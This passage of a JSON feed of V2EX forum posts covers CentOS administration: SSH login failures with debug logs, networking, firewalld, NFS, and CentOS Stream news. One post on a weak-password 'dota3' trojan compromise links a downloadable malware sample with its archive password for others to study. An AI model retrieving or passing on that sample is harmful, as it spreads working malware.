t)\uff0c\u662f\u4e0d\u662f\u6709\u53ef\u80fd\u88ab\u653b\u51fb\u4e86\uff1f</li>\n</ol>\n<pre><code>root     pts/1        170.3.69.2       Fri Jun  4 15:49   still logged in\nroot     pts/1        170.3.69.2       Fri Jun  4 15:47 - 15:49  (00:01)\nroot     pts/1        170.3.69.2       Fri Jun  4 15:46 - 15:47  (00:00)\n\n...\u7701\u7565\u4e00\u4e9b\u5dee\u4e0d\u591a\u7684 ...\n\nroo      pts/0        :0               Wed Mar 24 12:23 - 12:24  (00:01)\nroo      pts/0        :0               Wed Mar 24 12:16 - 12:23  (00:07)\nroo      :0           :0               Wed Mar 24 12:10 - down   (00:14)\nreboot   system boot  3.10.0-1127.el7. Wed Mar 24 12:00 - 12:24  (00:24)\n</code></pre>\n<p>\u65e2\u7136\u4f7f\u7528\u5bc6\u94a5\u53ef\u4ee5\u767b\u9646\u7684\u8bdd\uff0c\u90a3\u7f51\u7edc\u95ee\u9898\u5e94\u8be5\u6392\u9664\u4e86\u3002\u5b9e\u5728\u6ca1\u6709\u529e\u6cd5\u4e86\uff0c\u6709\u6ca1\u6709\u5927\u4f6c\u80fd\u5e2e\u5fd9\u9274\u5b9a\u4e0b\u95ee\u9898\u51fa\u73b0\u5728\u54ea\u91cc\uff1f</p>\n<p>\u8fd9\u4e2a\u662f\u4f7f\u7528\u5bc6\u94a5\u6210\u529f\u80fd\u767b\u9646\u7684\u65e5\u5fd7\uff08 ssh -v -p 22 &lt;ip \u5730\u5740&gt;\uff09\uff1a</p>\n<pre><code>OpenSSH_7.4p1, OpenSSL 1.0.2k-fips  26 Jan 2017\ndebug1: Reading configuration data /root/.ssh/config\ndebug1: /root/.ssh/config line 40: Applying options for *\ndebug1: Reading configuration data /etc/ssh/ssh_config\ndebug1: /etc/ssh/ssh_config line 58: Applying options for *\ndebug1: auto-mux: Trying existing master\ndebug1: mux_client_request_session: master session id: 2\nLast login: Fri Jun  4 15:59:42 2021\n</code></pre>\n<p>\u8fd9\u4e2a\u662f\u5728\u522b\u7684\u7535\u8111\u4e0a\u4f7f\u7528\u5bc6\u7801\u767b\u9646\u5931\u8d25\u7684\u65e5\u5fd7\uff08 ssh -v -p 22 &lt;ip \u5730\u5740&gt;\uff09\uff1a </p>\n<pre><code>OpenSSH_7.4p1, OpenSSL 1.0.2k-fips  26 Jan 2017\ndebug1: Reading configuration data /root/.ssh/config\ndebug1: /root/.ssh/config line 1: Applying options for *\ndebug1: Reading configuration data /etc/ssh/ssh_config\ndebug1: /etc/ssh/ssh_config line 58: Applying options for *\ndebug1: auto-mux: Trying existing master\ndebug1: Control socket \"/root/.ssh/&lt;\u8fd9\u91cc\u662f ip&gt;-22-root\" does not exist\ndebug1: Connecting to &lt;\u8fd9\u91cc\u662f ip&gt; [&lt;\u8fd9\u91cc\u662f ip&gt;] port 22.\ndebug1: Connection established.\ndebug1: permanently_set_uid: 0/0\ndebug1: key_load_public: No such file or directory\ndebug1: identity file /root/.ssh/&lt;\u8fd9\u91cc\u662f key \u540d\u79f0&gt;.key type -1\ndebug1: key_load_public: No such file or directory\ndebug1: identity file /root/.ssh/&lt;\u8fd9\u91cc\u662f key \u540d\u79f0&gt;.key-cert type -1\ndebug1: Enabling compatibility mode for protocol 2.0\ndebug1: Local version string SSH-2.0-OpenSSH_7.4\ndebug1: Remote protocol version 2.0, remote software version OpenSSH_6.6.1\ndebug1: match: OpenSSH_6.6.1 pat OpenSSH_6.6.1* compat 0x04000000\ndebug1: Authenticating to &lt;\u8fd9\u91cc\u662f ip&gt;:22 as 'root'\ndebug1: SSH2_MSG_KEXINIT sent\ndebug1: SSH2_MSG_KEXINIT received\ndebug1: kex: algorithm: curve25519-sha256@libssh.org\ndebug1: kex: host key algorithm: ecdsa-sha2-nistp256\ndebug1: kex: server-&gt;client cipher: chacha20-poly1305@openssh.com MAC: &lt;implicit&gt; compression: none\ndebug1: kex: client-&gt;server cipher: chacha20-poly1305@openssh.com MAC: &lt;implicit&gt; compression: none\ndebug1: kex: curve25519-sha256@libssh.org need=64 dh_need=64\ndebug1: kex: curve25519-sha256@libssh.org need=64 dh_need=64\ndebug1: expecting SSH2_MSG_KEX_ECDH_REPLY\ndebug1: Server host key: ecdsa-sha2-nistp256 SHA256:sQeFN1/GfQqAohAXEyndzeCStwG4wEcawUl3vZhwniw\ndebug1: Host '&lt;\u8fd9\u91cc\u662f ip&gt;' is known and matches the ECDSA host key.\ndebug1: Found key in /root/.ssh/known_hosts:23\ndebug1: rekey after 134217728 blocks\ndebug1: SSH2_MSG_NEWKEYS sent\ndebug1: expecting SSH2_MSG_NEWKEYS\ndebug1: SSH2_MSG_NEWKEYS received\ndebug1: rekey after 134217728 blocks\ndebug1: SSH2_MSG_SERVICE_ACCEPT received\ndebug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password\ndebug1: Next authentication method: gssapi-keyex\ndebug1: No valid Key exchange context\ndebug1: Next authentication method: gssapi-with-mic\ndebug1: Unspecified GSS failure.  Minor code may provide more information\nNo Kerberos credentials available (default cache: KEYRING:persistent:0)\n\ndebug1: Unspecified GSS failure.  Minor code may provide more information\nNo Kerberos credentials available (default cache: KEYRING:persistent:0)\n\ndebug1: Next authentication method: publickey\ndebug1: Trying private key: /root/.ssh/&lt;\u8fd9\u91cc\u662f key \u540d\u79f0&gt;.key\ndebug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password\ndebug1: Next authentication method: password\nroot@&lt;\u8fd9\u91cc\u662f ip&gt;'s password:\ndebug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password\nPermission denied, please try again.\nroot@&lt;\u8fd9\u91cc\u662f ip&gt;'s password:\ndebug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password\nPermission denied, please try again.\nroot@&lt;\u8fd9\u91cc\u662f ip&gt;'s password:\ndebug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,password\ndebug1: No more authentication methods to try.\nPermission denied (publickey,gssapi-keyex,gssapi-with-mic,password)\n</code></pre>\n", 
      "date_published": "2021-06-04T08:23:54+00:00", 
      "title": "\u6c42\u52a9\uff1a ssh \u8fdc\u7a0b\u65e0\u6cd5\u767b\u9646\u63d0\u793a\uff1a Permission denied, please try again", 
      "id": "https://www.v2ex.com/t/781412"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/Yakir", 
        "name": "Yakir", 
        "avatar": "https://cdn.v2ex.com/avatar/6a4f/f8b8/480179_large.png?m=1731975664"
      }, 
      "url": "https://www.v2ex.com/t/739802", 
      "title": "\u8bf7\u6559\u4e00\u4e2a centos8 \u547d\u4ee4 brctl \u95ee\u9898", 
      "id": "https://www.v2ex.com/t/739802", 
      "date_published": "2020-12-28T16:12:14+00:00", 
      "content_html": "<p>centos6 \u4e2d\u53ef\u4ee5\u4f7f\u7528 brctl \u547d\u4ee4\u7ba1\u7406\u672c\u5730\u7f51\u6865\n\u4f8b\u5982\uff1abrctl delbr xxx, brctl addif xxx xxx</p>\n<p>\u4f46\u5728 centos8 \u4e2d\u8c8c\u4f3c\u4f7f\u7528\u4e86 nmcli \u547d\u4ee4\u66ff\u4ee3\uff0c\u8bf7\u95ee\u5927\u4f6c\u77e5\u9053\u5982\u4f55\u7528 nmcli \u521b\u5efa\u865a\u62df\u7f51\u6865\u4ee5\u53ca\u6302\u8f7d\u7f51\u6865\u5417\uff1f</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/youla", 
        "name": "youla", 
        "avatar": "https://cdn.v2ex.com/avatar/ce71/90f0/492579_large.png?m=1606276116"
      }, 
      "url": "https://www.v2ex.com/t/736869", 
      "title": "CentOS \u6084\u6084\u7684\u8d70\u4e86\uff1f", 
      "id": "https://www.v2ex.com/t/736869", 
      "date_published": "2020-12-18T09:55:14+00:00", 
      "content_html": "<h1>\u5728 v \u7ad9\u4e5f\u6ca1\u4eba\u8ba8\u8bba\uff0c\u4e0d\u5e94\u8be5\u554a\u3002</h1>\n<h1>\u5404\u4f4d\u7b2c\u4e00\u4e2a\u7528\u5230\u7684 GNU/Linux \u662f\u4ec0\u4e48\u5462\uff1f\uff1f</h1>\n<h1>\u6211\u662f\u666e\u666e\u901a\u901a Ubuntu</h1>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/wzw", 
        "name": "wzw", 
        "avatar": "https://cdn.v2ex.com/avatar/c72a/cf0f/78954_large.png?m=1699319258"
      }, 
      "url": "https://www.v2ex.com/t/734324", 
      "title": "Rocky Linux [CentOS \u540e\u7eed]", 
      "id": "https://www.v2ex.com/t/734324", 
      "date_published": "2020-12-11T00:05:26+00:00", 
      "content_html": "<p><a href=\"https://github.com/rocky-linux/rocky\" rel=\"nofollow\">https://github.com/rocky-linux/rocky</a></p>\n<p>\u7a7a\u9879\u76ee\u5df2\u7ecf 2.1k star \u4e86</p>\n<p>\u81ea\u5df1\u4e3b\u529b\u7528 Debian, \u4f46\u662f\u6709\u4e9b\u9879\u76ee\u53ea\u652f\u6301 CentOS \u5440, \u4f8b\u5982 NI-VISA</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/wty", 
        "name": "wty", 
        "avatar": "https://cdn.v2ex.com/gravatar/44a7e746f99655e843ca8170b6ac8b57?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/734313", 
      "date_modified": "2020-12-11T00:55:31+00:00", 
      "content_html": "<p>\u5f53\u4f60\u4eec\u8fd8\u5728\u4e89\u8bba\u5230\u5e95\u662f\u597d\u5904\u8fd8\u662f\u574f\u5904\u7684\u65f6\u5019\u6211\u5df2\u7ecf\u628a\u7a0b\u5e8f\u66f4\u70b8\u4e86\ud83e\udd23</p>\n<p>\u4ece centos8 \u8f6c\u6210 stream \u4e4b\u540e\uff0cvnc \u53d8\u6210\u8981\u7528 systemd \u542f\u52a8\uff0c\u7136\u540e\u914d\u4e86\u534a\u5929\u5c31\u4e00\u76f4\u662f\u542f\u52a8\u5b8c\u9a6c\u4e0a\u5c31\u9000\u51fa\uff0c\u4e5f\u4e0d\u62a5\u9519\u3002\u641c\u4e86\u4e00\u4e0b\u53ea\u5728 arch \u7684\u8bba\u575b\u4e0a\u53d1\u73b0\u6709\u4eba\u8ba8\u8bba\u8fd9\u4e2a\u95ee\u9898\u3002\u3002\u3002</p>\n", 
      "date_published": "2020-12-10T17:27:09+00:00", 
      "title": "\u66f4\u65b0\u5230\u4e86 centos stream\uff0c\u7136\u540e vnc \u6302\u4e86", 
      "id": "https://www.v2ex.com/t/734313"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/tiramice", 
        "name": "tiramice", 
        "avatar": "https://cdn.v2ex.com/gravatar/6662fe0f91384ca9bc0d32c1f706de9a?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/733708", 
      "title": "RIP CentOS", 
      "id": "https://www.v2ex.com/t/733708", 
      "date_published": "2020-12-09T05:12:39+00:00", 
      "content_html": "<p><a href=\"https://blog.centos.org/2020/12/future-is-centos-stream/\" rel=\"nofollow\">https://blog.centos.org/2020/12/future-is-centos-stream/</a></p>\n<p>2022 \u5e74\u5f00\u59cb centOS \u5c06\u53d8\u6210 RHEL \u7684 Beta \u6d4b\u8bd5\u5e73\u53f0\u3002\u3002\u3002</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/alanying", 
        "name": "alanying", 
        "avatar": "https://cdn.v2ex.com/avatar/8a47/461b/175093_large.png?m=1765461081"
      }, 
      "url": "https://www.v2ex.com/t/733608", 
      "title": "CentOS 8\uff0c 21 \u5e74\u5e95 EOF\uff0c\u4ee5\u540e\u5c31\u53d8\u6eda\u52a8\u66f4\u65b0\u4e86\u3002 \u4ee5\u540e\u4e5f\u6ca1 CentOS 9 \u4e86", 
      "id": "https://www.v2ex.com/t/733608", 
      "date_published": "2020-12-09T01:59:32+00:00", 
      "content_html": "<p><a href=\"https://blog.centos.org/2020/12/future-is-centos-stream/\" rel=\"nofollow\">https://blog.centos.org/2020/12/future-is-centos-stream/</a></p>\n<p>\u6700\u540e\u4e00\u53e5\u8bdd\u795e\u4e86\uff1a</p>\n<p>If you are using CentOS Linux 8 in a production environment, and are concerned that CentOS Stream will not meet your needs, we encourage you to contact Red Hat about options.</p>\n<p>We will not be producing a CentOS Linux 9, as a rebuild of RHEL 9. Instead CentOS Stream 9 fulfills this role. (See Q6 below regarding the overlap between concurrent streams.)</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/herozzm", 
        "name": "herozzm", 
        "avatar": "https://cdn.v2ex.com/avatar/620b/1efe/69595_large.png?m=1694144243"
      }, 
      "url": "https://www.v2ex.com/t/721738", 
      "date_modified": "2020-11-04T07:09:46+00:00", 
      "content_html": "<p>\u5982\u679c\u635f\u574f\u5176\u4e2d\u4e00\u5757\uff0c\u6b63\u786e\u65b9\u5f0f\u5e94\u8be5\u662f\u5982\u4f55\u6362\u65b0\u786c\u76d8\u4e0a\u53bb\uff1f\u76f4\u63a5\u70ed\u62d4\u4e0b\u574f\u7684 ssd\uff0c\u63d2\u4e0a\u65b0\u7684 ssd \u5c31\u884c\uff1f\u4e0d\u9700\u8981\u63d0\u524d\u683c\u5f0f\u5316\u65b0\u786c\u76d8\u5427\uff1f</p>\n", 
      "date_published": "2020-11-04T07:09:24+00:00", 
      "title": "centos7 \u7cfb\u7edf hp gen \u7cfb\u5217\u670d\u52a1\u5668\uff0c\u4e24\u5757 ssd \u505a\u4e86 raid1\uff0c\u5982\u4f55\u8fdc\u7a0b\u67e5\u770b\u786c\u76d8\u662f\u5426\u635f\u574f\uff1f", 
      "id": "https://www.v2ex.com/t/721738"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/sx5486510", 
        "name": "sx5486510", 
        "avatar": "https://cdn.v2ex.com/gravatar/dc01fc16904c01098844376c00c7d796?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/720989", 
      "title": "\u4e00\u62e8\u53f7\u9ed8\u8ba4\u8def\u7531\u5c31\u65ad\u4e86 \u8fd9\u4e2a\u600e\u4e48\u89e3\u51b3", 
      "id": "https://www.v2ex.com/t/720989", 
      "date_published": "2020-11-02T06:08:50+00:00", 
      "content_html": "<p>\u9ed8\u8ba4\u673a\u5668\u901a\u8fc7\u7f51\u5361 1 dhcp \u5206\u914d\u7684 ip \u901a\u5916\u7f51\uff0c\u518d\u5728\u673a\u5668\u91cc\u901a\u8fc7\u7f51\u5361 2 \u62e8\u53f7\u7f51\u7edc\u4f1a\u65ad\u6389\uff0cip ro \u770b\u4e86\u4e0b \u6ca1\u6709\u4e86\u9ed8\u8ba4\u8def\u7531\uff0c\u53f7\u62e8\u4e0a\u53bb\u540e\u4f1a\u81ea\u52a8\u6dfb\u52a0\u4e00\u4e2a ppp \u7684\u9ed8\u8ba4\u8def\u7531\u3002\n\u600e\u4e48\u624d\u80fd\u5728\u62e8\u53f7\u7684\u65f6\u5019\u5916\u7f51\u4e0d\u65ad\u7ebf\uff1f</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/simple2025", 
        "name": "simple2025", 
        "avatar": "https://cdn.v2ex.com/gravatar/d8be1ee891483e0287a7350aae996608?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/719746", 
      "title": "bt \u7684\u540c\u6b65\u65f6\u95f4\u597d\u50cf\u6709\u95ee\u9898\u4e86\uff1f", 
      "id": "https://www.v2ex.com/t/719746", 
      "date_published": "2020-10-29T05:06:37+00:00", 
      "content_html": "<p>\u6211\u73b0\u5728\u540c\u6b65\u7684\u65f6\u95f4\u5c45\u7136\u662f 00:06-00:08?</p>\n<p>\u5173\u952e\u6211\u7528 ali \u540c\u6b65\u4e5f\u6709\u95ee\u9898 \u96be\u9053\u4e0d\u662f <code>sudo ntpdate -u</code> \u8fd9\u4e2a\u547d\u4ee4\uff1f</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/scfhao", 
        "name": "scfhao", 
        "avatar": "https://cdn.v2ex.com/gravatar/c005c7ea5d6cbfc5f1597a2c38311e5b?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/712346", 
      "title": "\u6c42\u52a9\u4e00\u4e2a\u5173\u4e8e CentOS 8 \u9632\u706b\u5899 Firewalld \u7684\u95ee\u9898", 
      "id": "https://www.v2ex.com/t/712346", 
      "date_published": "2020-10-03T05:14:36+00:00", 
      "content_html": "<p>\u6211\u7684\u73af\u5883\uff1a\n\u5728\u4e00\u4e2a\u53f0\u5f0f\u673a\u4e0a\u5b89\u88c5\u4e86 CentOS 8\uff0c\u5728 CentOS 8 \u4e0a\u5b89\u88c5\u4e86 Docker\uff0c\u5728 Docker \u91cc\u8fd0\u884c\u4e86 Postgres \u6570\u636e\u5e93\u7684\u5bb9\u5668\uff0c\u5bb9\u5668\u7684\u7aef\u53e3\u66b4\u6f0f\u5230\u4e3b\u673a\uff08-p 5432:5432 \uff09\u3002\n\u9047\u5230\u7684\u95ee\u9898\uff1a\n\u5728\u672c\u673a\uff08 CentOS 8 \uff09\u4e0a\u53ef\u4ee5\u901a\u8fc7 5432 \u7aef\u53e3\u8bbf\u95ee Postgres \u6570\u636e\u5e93\u670d\u52a1\uff0c\u4f46\u662f\u53ea\u8981 CentOS \u7684\u9632\u706b\u5899\u5f00\u7740\uff0c\u5728\u540c\u4e00\u4e2a\u5c40\u57df\u7f51\u4e2d\u7684\u5176\u4ed6\u7535\u8111\u8bbf\u95ee\u4e0d\u5230\uff08 telnet: Unable to connect to remote host: No route to host \uff09\uff1b\u5982\u679c\u5173\u4e86 CentOS \u7684\u9632\u706b\u5899\uff0c\u5176\u4ed6\u4e3b\u673a\u53ef\u4ee5\u6b63\u5e38\u8bbf\u95ee Postgres \u3002\n\u9700\u8981\u8865\u5145\u7684\u8bf4\u660e\uff1a</p>\n<ol>\n<li>Postgres \u7684\u4e24\u4e2a\u914d\u7f6e\u6587\u4ef6<code>postgresql.conf</code>\u548c<code>pg_hba.conf</code>\u5df2\u6b63\u5e38\u914d\u7f6e\u5141\u8bb8\u5176\u4ed6\u4e3b\u673a\u8bbf\u95ee\u3002</li>\n<li>\u5728 CentOS 8 \u7684\u9632\u706b\u5899\u4e2d\u5df2\u6dfb\u52a0 Postgres \u670d\u52a1\uff1a<code>firewall-cmd --zone=public --add-service=postgresql</code>\uff0c\u4e5f\u5c1d\u8bd5\u8fc7<code>firewall-cmd --zone=public --add-port=5432/tcp</code>\u3002</li>\n<li>\u4e5f\u5c1d\u8bd5\u8fc7\u5173\u95ed SELinux\uff0c\u540c\u6837\u4e0d\u8d77\u4f5c\u7528\u3002</li>\n</ol>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/l890908", 
        "name": "l890908", 
        "avatar": "https://cdn.v2ex.com/avatar/6240/31df/218508_large.png?m=1681360253"
      }, 
      "url": "https://www.v2ex.com/t/706251", 
      "date_modified": "2020-09-11T13:53:35+00:00", 
      "content_html": "", 
      "date_published": "2020-09-11T11:20:22+00:00", 
      "title": "CentOS 7.7 \u7cfb\u7edf\uff0c\u6570\u636e\u5e93\u653e\u6570\u636e\u76d8\u6709\u4ec0\u4e48\u5371\u5bb3\uff1f\u6570\u636e\u5e93\u6bd4\u8f83\u5927\uff0c\u73b0\u5728\u6570\u636e\u76d8\u8fd8\u5269 6G\uff0c\u66f4\u6362\u9ebb\u70e6", 
      "id": "https://www.v2ex.com/t/706251"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/barrysn", 
        "name": "barrysn", 
        "avatar": "https://cdn.v2ex.com/avatar/f2df/12a5/463431_large.png?m=1584085725"
      }, 
      "url": "https://www.v2ex.com/t/688310", 
      "title": "www.hop5.in \u8fd9\u4e2a\u6e90\u53ef\u9760\u4e48", 
      "id": "https://www.v2ex.com/t/688310", 
      "date_published": "2020-07-08T09:55:43+00:00", 
      "content_html": "<p>\u6709\u6ca1\u6709\u5927\u4f6c\u4e86\u89e3 <a href=\"http://www.hop5.in\" rel=\"nofollow\">www.hop5.in</a> \u8fd9\u4e2a yum \u6e90\u662f\u5426\u53ef\u9760\uff1f</p>\n<p>\u8981\u7ed9 centos6 \u5b89\u88c5 4.8+ \u7684 gcc\uff0c\u770b\u5230\u6709\u4eba\u4f7f\u7528\u8fd9\u4e2a yum \u6e90 \uff0c\u4f46\u4e0d\u6e05\u695a\u8be5 yum \u6e90\u662f\u5426\u53ef\u9760\u3002</p>\n<p>\u8fd8\u6709\u5c31\u662f\u5982\u679c\u5927\u4f6c\u6709\u597d\u7684\u7b80\u4fbf\u7684 \u5b89\u88c5\u9ad8\u7248\u672c gcc \u7684\u65b9\u6cd5\uff0c\u4e5f\u6c42\u5206\u4eab</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/AnjingJingan", 
        "name": "AnjingJingan", 
        "avatar": "https://cdn.v2ex.com/gravatar/511bc547d67c6e0af630fdcc2999debe?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/681770", 
      "title": "centos7 \u5185\u6838 3.10 \u5347\u7ea7\u5230 5.72 \u65e0\u6cd5\u8bc6\u522b\u7f51\u5361", 
      "id": "https://www.v2ex.com/t/681770", 
      "date_published": "2020-06-15T09:51:19+00:00", 
      "content_html": "<p>3.1 \u5185\u6838\u8fdb\u5165\u7cfb\u7edf\u7f51\u5361\u662f\u6b63\u5e38\u7684\u5e76\u4e14\u80fd\u8fde\u63a5\u7f51\u7edc\n<img alt=\"QQ \u622a\u56fe 20200615174433.png\" src=\"https://i.loli.net/2020/06/15/3HxjWSUyYn82ZgQ.png\"/></p>\n<p>\u91cd\u542f\u5207\u6362 5.7.2 \u5185\u6838\u8fdb\u5165\u7cfb\u7edf\u6ca1\u6709\u52a0\u8f7d\u7f51\u5361\uff0c\u5982\u56fe\n<img alt=\"QQ \u622a\u56fe 20200615174848.png\" src=\"https://i.loli.net/2020/06/15/qK3cRhYLitysEQA.png\"/></p>\n<p>\u8bf7\u95ee\u8fd9\u4e2a\u95ee\u9898\u8be5\u600e\u4e48\u89e3\u51b3\uff1f</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/nc4697", 
        "name": "nc4697", 
        "avatar": "https://cdn.v2ex.com/avatar/9b34/19a3/297457_large.png?m=1710399735"
      }, 
      "url": "https://www.v2ex.com/t/681654", 
      "date_modified": "2020-06-15T04:30:06+00:00", 
      "content_html": "<p>\u4e0b\u8f7d:<a href=\"https://wws.lanzous.com/ituwYdot5vc\" rel=\"nofollow\">https://wws.lanzous.com/ituwYdot5vc</a> \u5bc6\u7801:ah8q</p>\n<p>ssh \u7528\u6237\u540d /\u5bc6\u7801\uff1atest1/test123456,\u5e94\u8be5\u662f\u901a\u8fc7\u649e\u5e93\u767b\u5f55\u8fdb\u6765\u7684\uff0c\u76ee\u524d\u5df2\u6062\u590d</p>\n<p>\u6062\u590d\u8fc7\u7a0b\uff1a\u5220\u9664\u5b9a\u65f6\u4efb\u52a1\uff0c\u5220\u9664\u8fdb\u7a0b\uff0c\u5220\u9664\u811a\u672c\uff0c\u5220\u9664 authorized_keys\uff0c\u5220\u9664\u82e5\u53e3\u4ee4\u7528\u6237</p>\n", 
      "date_published": "2020-06-15T04:29:25+00:00", 
      "title": "\u56e0\u4e3a\u5f31\u53e3\u4ee4\u670d\u52a1\u5668\u906d\u5230 dota3 \u6728\u9a6c\u653b\u51fb\uff0c\u75c5\u6bd2\u811a\u672c\u4f9b\u5927\u5bb6\u7814\u7a76", 
      "id": "https://www.v2ex.com/t/681654"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/shyy06", 
        "name": "shyy06", 
        "avatar": "https://cdn.v2ex.com/gravatar/424de22594f9dd667c7f4d21175570e7?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/676973", 
      "date_modified": "2020-05-30T08:14:08+00:00", 
      "content_html": "<p>\u6c42\u6559\u4e0b V2 \u7684\u5927\u4f6c.\n\u6709\u53f0 NFS \u670d\u52a1\u5668\u9047\u5230\u6302\u8f7d\u95ee\u9898\uff0c\u7cfb\u5386\u53f2\u9057\u7559\u95ee\u9898\uff0c\u4ee5\u524d\u662f\u5076\u5c14\u6709\u4e00\u6bb5\u65f6\u95f4\u51fa\u73b0\u62a5\u9519\uff0c\u8fc7\u4e00\u6bb5\u65f6\u95f4\u5c31\u53ef\u4ee5\u4e86\uff0c\u6700\u8fd1\u662f\u5929\u5929\u62a5\u9519\u3002</p>\n<p>\u73af\u5883\u4fe1\u606f\uff0ccentos7</p>\n<p>\u73b0\u8c61\u63cf\u8ff0\uff0c\u8bbe\u5907 mount \u5171\u4eab\u6587\u4ef6\u5939\uff0c\u6ca1\u95ee\u9898\u3002\u4f46\u662f\u4e00\u65e6\u8bbe\u5907\u91cd\u542f\u4e86\uff0c\u518d\u53bb mount \u5fc5\u7136\u4f1a\u51fa\u73b0 failed: Connection refused \u63d0\u793a\u3002\n\u670d\u52a1\u5668\u7aef\uff1anfs \u6b63\u5e38\u8fd0\u884c,rpcbind \u6b63\u5e38\u8fd0\u884c\uff0c\u5c1d\u8bd5\u8fc7\u5173\u95ed\u9632\u706b\u5899\u62a5\u9519\u4f9d\u7136\u5b58\u5728,/etc/exports \u914d\u7f6e\u4fe1\u606f\u5982\u4e0b:\n/home/share *(rw,async,wdelay,no_root_squash,no_subtree)</p>\n<p>\u76ee\u524d\u51fa\u73b0\u8fd9\u4e2a\u95ee\u9898\u65f6\u5019,\u90fd\u662f\u901a\u8fc7\u91cd\u542f\u7f51\u7edc\u4e34\u65f6\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u3002systemctl  restart network\n\u8bf7\u6559\u4e0b\u5927\u4f6c\u4eec\uff0c\u600e\u4e48\u5206\u6790\u95ee\u9898\uff0c\u600e\u4e48\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u5462\uff1f\n\u6bcf\u6b21\u90fd\u662f\u8bbe\u5907\u91cd\u542f\u540e\u518d\u53bb mount\uff0c\u5fc5\u7136\u62a5\u9519\uff0c\u7136\u540e\u91cd\u542f\u7f51\u7edc\u624d\u80fd\u8fde\u4e0a\u3002</p>\n", 
      "date_published": "2020-05-30T08:11:26+00:00", 
      "title": "\u6c42\u6559 nfs \u670d\u52a1\u5668\u6302\u8f7d\u62a5 Connection refused \u7684\u95ee\u9898", 
      "id": "https://www.v2ex.com/t/676973"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/ali0531", 
        "name": "ali0531", 
        "avatar": "https://cdn.v2ex.com/avatar/0637/4b64/443575_large.png?m=1579262892"
      }, 
      "url": "https://www.v2ex.com/t/676385", 
      "date_modified": "2020-05-28T17:21:33+00:00", 
      "content_html": "\u4ee5\u524d CentOS 7 \u7684\u65f6\u5019\u642d\u5efa \u201c\u5fae\u5c41\u6069\u201d \u633a\u7b80\u5355\u7684\uff0c\u73b0\u5728\u5347\u7ea7\u5230 CentOS 8 \u540e\u6839\u672c\u5c31\u65e0\u6cd5\u642d\u5efa\uff0c\u597d\u50cf\u662f\u6ca1\u6709 pptpd \u670d\u52a1\u7684\u539f\u56e0\u3002\u54ea\u4f4d\u5927\u4f6c\u4f1a\u642d\u5efa \u8bf7\u6559\u4e00\u4e0b", 
      "date_published": "2020-05-28T09:22:04+00:00", 
      "title": "CentOS 8 \u4e3a\u4ec0\u4e48\u6709\u8fd9\u4e48\u5927\u5751\uff1f", 
      "id": "https://www.v2ex.com/t/676385"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/aloof", 
        "name": "aloof", 
        "avatar": "https://cdn.v2ex.com/avatar/ae10/bb7c/101626_large.png?m=1773598567"
      }, 
      "url": "https://www.v2ex.com/t/672860", 
      "title": "\u591a\u7f51\u6bb5\u4e92\u8054\u4e92\u901a\u95ee\u9898\uff1f", 
      "id": "https://www.v2ex.com/t/672860", 
      "date_published": "2020-05-18T05:47:14+00:00", 
      "content_html": "<p>\u670d\u52a1\u5668 A:192.168.3.10,192.168.42.1\n\u670d\u52a1\u5668 B:192.168.4.10\n\u670d\u52a1\u5668 C:192.168.6.10\n\u670d\u52a1\u5668 D:192.168.42.10\n\u670d\u52a1\u5668 A \u4e0e B \u3001C \u3001D \u90fd\u662f\u901a\u7684\uff0c\u73b0\u9700\u8981\u5c06 B \u3001D \u548c C \u3001D \u8fde\u901a\uff0c\u8def\u7531\u5e94\u8be5\u600e\u4e48\u914d\uff1f</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/PDX", 
        "name": "PDX", 
        "avatar": "https://cdn.v2ex.com/avatar/ada0/e325/257105_large.png?m=1715416328"
      }, 
      "url": "https://www.v2ex.com/t/671652", 
      "title": "podman pod create \u9047\u5899", 
      "id": "https://www.v2ex.com/t/671652", 
      "date_published": "2020-05-14T07:44:30+00:00", 
      "content_html": "<p><a href=\"http://k8s.gcr.io\" rel=\"nofollow\">k8s.gcr.io</a> \u88ab\u5899 pull \u4e0d\u6765</p>\n<p>\u4fee\u6539 /usr/share/containers/libpod.conf</p>\n<p>infra_image = \"<a href=\"http://k8s.gcr.io/pause:3.1\" rel=\"nofollow\">k8s.gcr.io/pause:3.1</a>\"</p>\n<p>=&gt;</p>\n<p>infra_image = \"<a href=\"http://docker.io/mirrorgooglecontainers/pause\" rel=\"nofollow\">docker.io/mirrorgooglecontainers/pause</a>\"</p>\n"
    }
  ]
}